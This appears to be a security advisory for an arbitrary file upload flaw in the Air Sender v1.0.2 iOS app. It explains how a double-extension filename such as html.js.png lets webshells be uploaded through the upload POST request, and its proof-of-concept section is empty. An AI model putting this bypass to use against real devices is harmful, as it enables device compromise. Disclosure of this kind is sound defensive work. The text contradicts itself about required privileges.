Vulnerability Disclosure Timeline:
==================================

Technical Details & Description:
================================
An arbitrary file upload web vulnerability has been discovered in the
official Air Sender v1.0.2 iOS mobile application.
The web vulnerability allows remote attackers to upload arbitrary files
to compromise for example the file system of a service.

The arbitrary upload vulnerability is located in the within the
web-server configuration when using the upload module.
Remote attackers are able to bypass the local web-server configuration
by an upload of malicious webshells. Attackers
are able to inject own files with malicious `filen` values in the
`upload` POST method request to compromise the
mobile web-application. The application does not perform checks for
multiple file extensions. Thus allows an attacker
to upload for example to upload a html.js.png file. After the upload the
attacker requests the original url source
with the uploaded file and removes the unwanted extension to execute the
code in the unprotected web-frontend.

The security risk of the vulnerability is estimated as high with a
common vulnerability scoring system count of 7.0.
Exploitation of the web vulnerability requires a low privilege ftp
application user account and no user interaction.
Successful exploitation of the arbitrary file upload web vulnerability
results in application or device compromise.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] ./upload

Vulnerable File(s):
[+] file


Proof of Concept (PoC):
=======================
The arbitrary file upload web vulnerability can be exploited by remote
attackers without user interaction or privileged user accounts.
